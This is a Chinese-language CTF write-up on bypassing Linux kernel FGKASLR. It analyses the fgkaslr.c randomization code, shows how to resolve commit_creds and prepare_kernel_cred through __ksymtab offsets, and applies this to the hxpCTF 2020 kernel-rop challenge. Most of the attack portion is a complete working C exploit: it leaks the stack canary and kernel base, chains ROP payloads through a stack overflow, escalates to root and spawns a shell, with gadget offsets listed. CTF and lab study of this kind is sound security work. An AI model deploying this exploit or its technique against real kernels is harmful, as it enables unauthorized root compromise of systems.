FGKASLR

FGASLR(Function Granular KASLR)是KASLR的加強版,增加了更細粒度的地址隨機化。因此在開啟了FGASLR的內核中,即使泄露了內核的程序基地址也不能調用任意的內核函數。

layout_randomized_image

fgkaslr.c文件中存在著隨機化的明細。

/*
    linux/arch/x86/boot/compressed/fgkaslr.c
*/
void layout_randomized_image(void *output, Elf64_Ehdr *ehdr, Elf64_Phdr *phdrs)
{
    ...
    shnum = ehdr->e_shnum; //獲取節區的數量
    shstrndx = ehdr->e_shstrndx; //獲取字符串的索引
    ...
    /* we are going to need to allocate space for the section headers */
    sechdrs = malloc(sizeof(*sechdrs) * shnum); //開辟一段空間用于防止節區頭部
    if (!sechdrs)
        error("Failed to allocate space for shdrs");
    sections = malloc(sizeof(*sections) * shnum); //開辟一段空間用戶防止節區的內容
    if (!sections)
        error("Failed to allocate space for section pointers");
    memcpy(sechdrs, output + ehdr->e_shoff,
           sizeof(*sechdrs) * shnum); //拷貝頭部數據
    /* we need to allocate space for the section string table */
    s = &sechdrs[shstrndx]; //獲取節區名
    secstrings = malloc(s->sh_size); //開辟一段空間用于防止節區名稱
    if (!secstrings)
        error("Failed to allocate space for shstr");
    memcpy(secstrings, output + s->sh_offset, s->sh_size); //拷貝節區名稱
    /*
     * now we need to walk through the section headers and collect the
     * sizes of the .text sections to be randomized.
     */
    for (i = 0; i < shnum; i++) { //遍歷節區,選擇需要重定位的節區
        s = &sechdrs[i];
        sname = secstrings + s->sh_name;
        if (s->sh_type == SHT_SYMTAB) { //遇到符號節區跳過
            /* only one symtab per image */
            if (symtab)
                error("Unexpected duplicate symtab");
            symtab = malloc(s->sh_size);
            if (!symtab)
                error("Failed to allocate space for symtab");
            memcpy(symtab, output + s->sh_offset, s->sh_size);
            num_syms = s->sh_size / sizeof(*symtab);
            continue;
        }
        ...
        if (!strcmp(sname, ".text")) { //第一個.text的節區直接跳過
            if (text)
                error("Unexpected duplicate .text section");
            text = s;
            continue;
        }
        if (!strcmp(sname, ".data..percpu")) { //遇到.data..precpu的節區也直接跳過
            /* get start addr for later */
            percpu = s;
            continue;
        }
        if (!(s->sh_flags & SHF_ALLOC) ||
            !(s->sh_flags & SHF_EXECINSTR) ||
            !(strstarts(sname, ".text"))) //若一個節區具有SHF_ALLOC與SHF_EXECINSTR的標志位,并且節區名的前綴屬于.text則會進行細粒度的地址隨機化
            continue;
        sections[num_sections] = s; //剩余的節區都放置到新開辟的空間中,進行細粒度的地址隨機化
        num_sections++;
    }
    sections[num_sections] = NULL;
    sections_size = num_sections;
    ...
}

通過上述代碼分析可知

  • ? 符號節區不進行細粒度的地址隨機化
  • ? 第一個.text節是不會進行細粒度的地址隨機化
  • ? 需要同時具備SHF_ALLOCSHF_EXECINSTR標志位,并且節區的前綴為.text才會被選擇進行細粒度的地址隨機化

可以看到layout_randomized_image函數還是會保持原有的節區偏移,但是會在內存中尋找另一個空間進行存儲,這就導致在內核開啟了FGKASLR保護時并不是所有的節區都以內核程序基地址作為基址進行偏移,想要做到任意內核函數的調用,就需要找到調用函數所處的節區的基地址,使得利用更加復雜化了。

FGKASLR保護的繞過

想要繞過FGKASLR,我們可以挑選不受影響的節區中的gadget進行ROP鏈的構造。

首先是不存在SHF_ALLOCSHF_EXECINSTR標志位的節區

其次是.text的節區,可以看到該節區存在0x200000的大小,因此可以挑選0xffffffff81000000 - 0xffffffff81000000 + 0x200000,可選的gadget還是比較充足的。

上述的節區都是不受FGKASLR保護的影響,只需要泄露出內核程序的基地址,就可以按照繞過KASLR的思路進行漏洞的利用。

想要在內核態完成提權返回到用戶態,我們需要調用commit_creds(prepare_kernel_cred(0)) -> swapgs -> iretq

因此先來看commit_credsprepare_kernel_cred函數是否符合要求,可以看到commit_creds函數的地址為0xffffffff814c6410prepare_kernel_cred函數的地址為0xffffffff814c67f0都是超過.text的節區空間了(這里我是關閉了KASLR的)。

可以多運行幾次環境,查看這個兩個函數的地址,會發現末尾地址的偏移會一直在變化。(開啟了KASLR)

cat /proc/kallsyms | grep -E "commit_creds|prepare_kernel_cred"

第一次

第二次

可以看到第一次運行與第二次運行的地址是完全不一樣的,但是處于不進行細粒度的節區ksymtab,只有中間的九個比特位(KASLR)發生了改變,其余部分是一致的。這也是KASLRFGKASLR的區別。但是實際的利用又需要用到這兩個函數,因此還是需要特殊的手法泄露出這兩個函數的實際地址。(1)能夠泄露這兩個函數現有的基地址(2)通過符號表進行地址讀取。

這里采用(2)的手法進行函數地址的泄露,ksymtab節存放著內核函數的符號表,使用下述結構體進行維護。

struct kernel_symbol {
      int value_offset;
      int name_offset;
      int namespace_offset;
};
  • ? value_offset:內核符號的值的偏移
  • ? name_offset:內核符號的名稱的偏移
  • ? namespace_offset:內核符號所屬的命名空間的名稱在內存中的偏移量或地址。

因此value_offset正是我們所關注的,這里需要注意的是這里的偏移地址是基于當前地址的偏移。以ksymtab_commit_creds為例,ksymtab_commit_creds的地址值為0xffffffffa8587d90,該地址存儲的值為0xffa17ef0,計算的結果為0xffffffffa8587d90- (2^32 - 0xffa17ef0) = 0xffffffffa7f9fc80 ,結果剛好是commit_creds函數的地址值,這里說明一下為什么需要用(2^32 - 0xffa17ef0),因為value_offsetint類型,而0xffa17ef0是負數,因此需要先轉換在進行相減才是實際值。

那么利用上述的方法就可以求出commit_credsprepare_kernel_cred函數的地址。

那么接著看如何獲取swapgsiretq指令的地址,之前在介紹如何繞過kpti時介紹過一個特殊的函數swapgs_restore_regs_and_return_to_usermode,里面除了能夠通過cr3轉換頁表,里面還具備swapgsiretq指令。在內核中搜索一下這個函數的地址,可以發現它處于.text節區的范圍內,因此這個地址可以直接拿來用。

因此繞過FGKASLR的方法就出來了,首先是泄露內核程序基地址,通過該基地址獲得__ksymtab_commit_creds__ksymtab_prepare_kernel_cred的地址,通過上述兩個符號獲取實際的commit_credsprepare_kernel_cred函數的地址,最后通過swapgs_restore_regs_and_return_to_usermode函數返回用戶態。

hxpCTF 2020 kernel-roprun.sh

qemu-system-x86_64 \
    -m 128M \
    -cpu kvm64,+smep,+smap \
    -kernel vmlinuz \
    -initrd initramfs.cpio.gz \
    -hdb flag.txt \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0  kaslr kpti=1  quiet panic=1" \
    -s

這里還是使用 hxpCTF 2020的內核題作為例子

項目地址:https://github.com/h0pe-ay/Kernel-Pwn

之前提到過了程序存在棧溢出的漏洞,并且允許我們讀取內核棧上的數據,通過讀取內核棧上的數據可以泄露出canary的值以及程序的基地址,這里需要特別注意的是,當開啟了FGKASLR時,不是所有的地址都可以用來計算基地址的,只能找在.text范圍內的地址,否則是無法計算出內核程序基地址。因此這里選擇0xffffffff8100a157的地址作為泄露地址。

那么在泄露了canary和地址之后就可以利用棧溢出完成提權返回用戶態了,在之前的用戶態下的利用,我們可以借助write或者是puts 函數去讀取地址中的內容,但是在內核態的利用則不需要這么麻煩了,例如可以先將__ksymtab_commit_creds地址賦值給rax寄存器,接著通過mov rax,[rax]; ret的指令完成對指定地址完成讀取操作。這里我使用的gadget

0xffffffff81004d11: pop rax; ret; [0x4d11]
0xffffffff81015a7f: mov rax, qword ptr [rax]; pop rbp; ret; [0x15a7f]

首先利用pop rax; ret指令,將__ksymtab_commit_creds函數的地址賦值給rax寄存器,接著使用mov rax, qword ptr [rax];函數將__ksymtab_commit_creds地址的內容讀取到rax寄存器中,那么接下來就是如何提取出rax寄存器。可以借助swapgs_restore_regs_and_return_to_usermode函數先暫時返回到用戶態,接著采用內聯匯編,進行值的提取。這里需要注意的是需要將ROP鏈與內聯匯編分隔開,否則rax寄存器可能會被編譯器優化掉,即會有清空rax寄存器的操作。并且所有找的gadget都必須是不會進行細粒度調整的節區中挑選,否則無法獲取真實地址。

...
void start()
{
    unsigned long payload[256];
    unsigned int index = 0;
    for(int i = 0; i < (16); i ++)
        payload[index++] = 0;
    //iretq RIP|CS|RFLAGS|SP|SS
    payload[index++] = canary;
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = image_base +  0x4d11; //pop_rax_ret
    payload[index++] = image_base + 0xf87d90; //__ksymtab_commit_creds
    payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret;
    payload[index++] = 0;
    payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov    rdi,rsp;
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = (unsigned long)leak_commit_creds;
    payload[index++] = user_cs;
    payload[index++] = user_rflags;
    payload[index++] = user_sp;
    payload[index++] = user_ss;
    write(fd, payload, index * 8);
    
}
void leak_commit_creds()
{
    __asm(
        ".intel_syntax noprefix;"
        "mov commit_creds_offset, eax;"
        ".att_syntax;"
    );
    printf("commit_cred_offset:0x%x", commit_creds_offset);
    commit_creds = image_base + 0xf87d90 + (int)commit_creds_offset;
    printf("commit_cred:0x%lx", commit_creds);
    jmp_leak_prepare_kernel_cred();
}
...

在調用為prepare_kernel_cred后需要將rax寄存器的值傳遞給rdi寄存器中,因為需要作為commit_creds函數的參數。但是在.text中找了很久都沒有合適的gadget,那么還是同樣采用內聯匯編,將rax寄存器的值讀取出,再傳遞給commit_creds函數即可。這里又需要特別注意,最好不要使用太多的全局變量存儲,否則會覆蓋一開始保存的user_cs,user_rflags,user_sp,user_ss的變量值。因此在payload中我特定將這幾個變量初始化的特定的值,使得這幾個變量存儲在.data段防止被其它的值覆蓋。

image-20230703214402506

因此針對FGKASLR保護的繞過,實際是利用FGKASLR特點,只在特定的區域中選取適合的gadget,從而將FGKASLR弱化為KASLR,進而繼續利用。

exp

#include 
#include 
/*
0xffffffff81006370: pop rdi; ret;  --  [0x6370]
0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode -- [0x200f10]
0xffffffff81004d11: pop rax; ret; [0x4d11]
0xffffffff81015a7f: mov rax, qword ptr [rax]; pop rbp; ret; [0x15a7f]
0xffffffff81f87d90 r __ksymtab_commit_creds [0xf87d90]
0xffffffff81f8d4fc r __ksymtab_prepare_kernel_cred [0xf8d4fc]
*/
//iretq RIP|CS|RFLAGS|SP|SS 
#define MAX 1
int fd;
unsigned long user_cs = MAX,user_rflags = MAX,user_sp = MAX,user_ss = MAX;
unsigned long image_base;
unsigned long commit_creds;
unsigned long prepare_kernel_cred;
unsigned long canary;
int prepare_kernel_cred_offset;
int commit_creds_offset;
unsigned long cred;
void save_state();
void backdoor();
void leak_commit_creds();
void leak_prepare_kernel_cred();
void get_cred();
void jmp_get_cred();
void jmp_leak_prepare_kernel_cred();
void jmp_get_cred();
void jmp_back_door();
void start();
void save_state()
{
    __asm(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_sp, rsp;"
        "mov user_ss, ss;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("***save state***");
    printf("user_cs:0x%lx", user_cs);
    printf("user_sp:0x%lx", user_sp);
    printf("user_ss:0x%lx", user_ss);
    printf("user_rflags:0x%lx", user_rflags);
    puts("***save finish***");
}
void backdoor()
{
    puts("***getshell***");
    system("/bin/sh");
}
void start()
{
    unsigned long payload[256];
    unsigned int index = 0;
    for(int i = 0; i < (16); i ++)
        payload[index++] = 0;
    //iretq RIP|CS|RFLAGS|SP|SS
    payload[index++] = canary;
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = image_base +  0x4d11; //pop_rax_ret
    payload[index++] = image_base + 0xf87d90; //__ksymtab_commit_creds
    payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret;
    payload[index++] = 0;
    payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov    rdi,rsp;
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = (unsigned long)leak_commit_creds;
    payload[index++] = user_cs;
    payload[index++] = user_rflags;
    payload[index++] = user_sp;
    payload[index++] = user_ss;
    write(fd, payload, index * 8);
    
}
void leak_commit_creds()
{
    __asm(
        ".intel_syntax noprefix;"
        "mov commit_creds_offset, eax;"
        ".att_syntax;"
    );
    printf("commit_cred_offset:0x%x", commit_creds_offset);
    commit_creds = image_base + 0xf87d90 + (int)commit_creds_offset;
    printf("commit_cred:0x%lx", commit_creds);
    jmp_leak_prepare_kernel_cred();
}
void jmp_leak_prepare_kernel_cred()
{
    unsigned long payload[256];
    unsigned int index = 0;
    for(int i = 0; i < (16); i ++)
        payload[index++] = 0;
    //iretq RIP|CS|RFLAGS|SP|SS
    payload[index++] = canary;
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = image_base +  0x4d11; //pop_rax_ret
    payload[index++] = image_base + 0xf8d4fc; //__ksymtab_prepare_kernel_cred
    payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret;
    payload[index++] = 0;
    payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov    rdi,rsp;
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = (unsigned long)leak_prepare_kernel_cred;
    payload[index++] = user_cs;
    payload[index++] = user_rflags;
    payload[index++] = user_sp;
    payload[index++] = user_ss;
    write(fd, payload, index * 8); 
}
void leak_prepare_kernel_cred()
{
    __asm(
        ".intel_syntax noprefix;"
        "mov prepare_kernel_cred_offset, rax;"
        ".att_syntax;"
    );
    printf("prepare_kernel_cred_offset:0x%x", prepare_kernel_cred_offset);
    prepare_kernel_cred = image_base + 0xf8d4fc + (int)prepare_kernel_cred_offset;
    printf("prepare_kernel_cred:0x%lx", prepare_kernel_cred);
    printf("jmp get cred");
    jmp_get_cred();
}
void jmp_get_cred()
{
    unsigned long payload[256];
    unsigned int index = 0;
    for(int i = 0; i < (16); i ++)
        payload[index++] = 0;
    //iretq RIP|CS|RFLAGS|SP|SS
    payload[index++] = canary;
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = image_base +  0x6370; //pop_rdi_ret
    payload[index++] = 0;
    payload[index++] = prepare_kernel_cred; // prepare_kernel_cred
    payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov    rdi,rsp;
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = (unsigned long)get_cred;
    payload[index++] = user_cs;
    payload[index++] = user_rflags;
    payload[index++] = user_sp;
    payload[index++] = user_ss;
    write(fd, payload, index * 8); 
    
}
void get_cred()
{
    __asm(
        ".intel_syntax noprefix;"
        "mov cred, rax;"
        ".att_syntax;"
    );
    printf("cred:0x%lx", cred);
    jmp_back_door();
}
void jmp_back_door()
{
    unsigned long payload[256];
    unsigned int index = 0;
    for(int i = 0; i < (16); i ++)
        payload[index++] = 0;
    //iretq RIP|CS|RFLAGS|SP|SS
    payload[index++] = canary;
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = image_base +  0x6370; //pop_rdi_ret
    payload[index++] = cred;    //cred
    payload[index++] = commit_creds; // commit_creds
    payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov    rdi,rsp;
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = (unsigned long)backdoor;
    payload[index++] = user_cs;
    payload[index++] = user_rflags;
    payload[index++] = user_sp;
    payload[index++] = user_ss;
    write(fd, payload, index * 8); 
}
int main()
{
    save_state();
    fd = open("/dev/hackme", O_RDWR);
    unsigned long buf[256];
    read(fd, buf, 40 * 8);
    for(int i = 0; i < 40; i++)
        printf("i:%d\taddress:0x%lx",i, buf[i]);
    canary = buf[2];
    unsigned long leak_addr = buf[38];
    printf("leak addr:0x%lx", leak_addr);
    image_base = leak_addr - 0xa157;
    printf("ImageBase:0x%lx", image_base);
    start();
}